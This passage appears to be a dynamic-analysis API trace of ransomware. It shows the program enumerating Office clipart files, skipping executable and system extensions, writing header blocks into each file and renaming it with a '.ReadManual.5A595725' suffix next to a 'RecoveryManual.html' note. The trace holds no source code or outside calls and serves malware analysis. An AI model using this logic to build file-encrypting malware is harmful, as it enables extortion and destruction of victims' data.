Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0263.101] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.101] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3662) returned 1 [0263.101] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe4e, lpName=0x0) returned 0x184 [0263.101] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.102] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.104] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.104] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe4e) returned 0x2f0000 [0263.104] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.104] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38377301139) returned 1 [0263.104] CloseHandle (hObject=0x184) returned 1 [0263.104] SetSecurityInfo () returned 0x57 [0263.104] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.105] CloseHandle (hObject=0x194) returned 1 [0263.105] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0263.105] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00276_.WMF" | out: lpString1="HH00276_.WMF") returned="HH00276_.WMF" [0263.105] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.105] StrStrIW (lpFirst="HH00276_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.105] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.105] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.105] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" [0263.105] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.ReadManual.5A595725" [0263.105] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.ReadManual.5A595725") returned 87 [0263.105] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38377404089) returned 1 [0263.105] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0263.105] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.106] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3016) returned 1 [0263.106] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc8, lpName=0x0) returned 0x184 [0263.106] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.106] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.107] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.108] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.108] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc8) returned 0x2f0000 [0263.109] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.109] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38377743016) returned 1 [0263.109] CloseHandle (hObject=0x184) returned 1 [0263.109] SetSecurityInfo () returned 0x57 [0263.109] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.109] CloseHandle (hObject=0x194) returned 1 [0263.109] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0263.109] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00334_.WMF" | out: lpString1="HH00334_.WMF") returned="HH00334_.WMF" [0263.109] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.109] StrStrIW (lpFirst="HH00334_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.109] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.109] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.110] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.110] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" [0263.110] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.ReadManual.5A595725" [0263.110] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.ReadManual.5A595725") returned 87 [0263.110] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38377840631) returned 1 [0263.110] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0263.110] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.110] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1528) returned 1 [0263.110] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f8, lpName=0x0) returned 0x184 [0263.110] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.111] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.111] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.113] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.113] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f8) returned 0x2f0000 [0263.113] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.113] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38378168255) returned 1 [0263.113] CloseHandle (hObject=0x184) returned 1 [0263.113] SetSecurityInfo () returned 0x57 [0263.113] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.113] CloseHandle (hObject=0x194) returned 1 [0263.113] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0263.113] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00443_.WMF" | out: lpString1="HH00443_.WMF") returned="HH00443_.WMF" [0263.113] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.113] StrStrIW (lpFirst="HH00443_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.113] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.113] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.113] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.113] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.113] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.114] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.114] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" [0263.114] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.ReadManual.5A595725" [0263.114] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.ReadManual.5A595725") returned 87 [0263.114] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38378264343) returned 1 [0263.114] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0263.115] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.115] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3298) returned 1 [0263.115] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce2, lpName=0x0) returned 0x184 [0263.115] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.116] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.117] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.117] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce2) returned 0x2f0000 [0263.118] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.118] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38378643996) returned 1 [0263.118] CloseHandle (hObject=0x184) returned 1 [0263.118] SetSecurityInfo () returned 0x57 [0263.118] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.118] CloseHandle (hObject=0x194) returned 1 [0263.118] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0263.118] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00513_.WMF" | out: lpString1="HH00513_.WMF") returned="HH00513_.WMF" [0263.118] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.118] StrStrIW (lpFirst="HH00513_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.118] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.118] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.118] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" [0263.119] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.ReadManual.5A595725" [0263.119] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.ReadManual.5A595725") returned 87 [0263.119] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38378736229) returned 1 [0263.119] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0263.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.119] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=818) returned 1 [0263.119] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x332, lpName=0x0) returned 0x184 [0263.119] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.120] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.120] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.122] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.122] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x332) returned 0x2f0000 [0263.122] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38379073546) returned 1 [0263.122] CloseHandle (hObject=0x184) returned 1 [0263.122] SetSecurityInfo () returned 0x57 [0263.122] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.122] CloseHandle (hObject=0x194) returned 1 [0263.122] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0263.122] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00524_.WMF" | out: lpString1="HH00524_.WMF") returned="HH00524_.WMF" [0263.122] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.122] StrStrIW (lpFirst="HH00524_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.122] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.122] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.122] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.123] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.123] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" [0263.123] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.ReadManual.5A595725" [0263.123] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.ReadManual.5A595725") returned 87 [0263.123] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38379168753) returned 1 [0263.123] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0263.123] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.123] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14688) returned 1 [0263.123] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3960, lpName=0x0) returned 0x184 [0263.123] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.124] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.124] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.126] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, 